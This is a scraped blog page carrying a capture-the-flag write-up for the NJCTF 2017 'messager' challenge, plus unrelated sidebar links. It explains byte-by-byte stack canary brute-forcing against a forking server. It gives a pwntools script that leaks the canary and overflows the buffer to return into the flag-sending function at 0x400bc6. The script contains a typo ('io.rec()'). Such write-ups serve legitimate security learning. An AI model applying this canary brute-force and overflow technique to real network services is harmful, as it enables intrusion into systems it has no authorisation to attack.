当前位置:网站首页>NJCTF 2017messager
NJCTF 2017messager
2022-07-19 10:21:00 【Day-3】
First, write a flag file .
echo “FLAG{THIS_IS_FLAG}” > flag
The program starts with flag Remove from the file , Store in unk_602160, Correspondingly, one passed socket send out flag Function of sub_400BC6(), The ultimate goal is to control the program to return to this function .
This question is open Canary Protect , But he starts one subprocess at a time , therefore Canary The value of does not change , We can blow it out , notes : Be sure to use python2, If a master knows why to use python3 If not , I really hope you can tell me .
from pwn import *
def leak_canary():
global canary
canary = "\x00"
while len(canary) < 8:
for x in range(0, 256):
io = remote("127.0.0.1", 5555)
io.recv()
io.send("A"*104 + canary + chr(x))
try:
io.recv()
canary += chr(x)
break
except:
continue
finally:
io.close()
print(canary)
# print("canary: 0x%s" % canary.encode('hex'))
def pwn():
io = remote("127.0.0.1", 5555)
io.rec()
payload = flat(['A' * 104,canary,"A"*8,p64(0x400bc6)])
io.send(payload)
print(io.recvline())
if __name__=='__main__':
leak_canary()
pwn()
边栏推荐
- English语法_人称代词-用法
- 私钥,公钥的区分——私钥公钥讲解
- HCIA RIP实验 7.11
- R语言ggplot2可视化:使用ggpubr包的ggstripchart函数可视化点状条带图(dot strip plot)、设置add参数为mean_sd添加均值标准差竖线、设置error.plot
- Blender自动化建模入门
- 6G空天地一体化网络高空平台基站下行频谱效率研究
- string类的介绍及模拟实现
- Relationship between standardization, normalization and regularization
- Go to school = earn money? Immortal college without paying tuition fees!
- SSH Connection Huawei modelarts Notebook
猜你喜欢

荔枝音质高保真AI降噪技术分享

Story of status code

The module created by yourself uses CMD to open the report modulenotfounderror: no module named solution

Microsoft OneNote 教程,如何在 OneNote 中插入数学公式?

押注.NET 是件好事

【排序】归并排序

Rasa 3.x 学习系列-Rasa 3.1.5 版本发布

【原创】Magisk+Shamiko过APP ROOT检测

Ffmpeg record video, stop (vb.net, step on the pit, class library - 10)

中科磐云—D模块web远程代码执行漏洞解析
随机推荐
Simulation Research on optimal detection of fault data in communication network
2022.07.14 暑假集训 个人排位赛(九)
FFmpeg 合并多个视频(VB.net,类库——8)
Date -- machine test topic for postgraduate entrance examination of Guizhou University
HCIA 复习作答 2022.7.6
2022年浙江省中职组“网络空间安全”编码信息获取解析(完整版)
【原创】Magisk+Shamiko过APP ROOT检测
完全背包问题代码模板
快速判断站点是否存活的 3 种编程实现
【vulnhub靶场】PRIME:1打靶过程记录
R语言使用epiDisplay包的aggregate函数将数值变量基于因子变量拆分为不同的子集,计算每个子集的汇总统计信息、设置na.rm参数为FALSE之后包含缺失值的分组的统计量的结果为NA
ty_ Gr551x code framework
高性能IO框架库libevent(三):libevent框架函数概述
笔记本键盘失灵解决办法
上學=掙錢?無需繳納學費的神仙院校!
How to save and exit VIM
【MySQL】MySQL的增删查改(进阶)
STM32F407 NVIC
【微信小程序】使出千手浮图—回滚式
VC view memory leak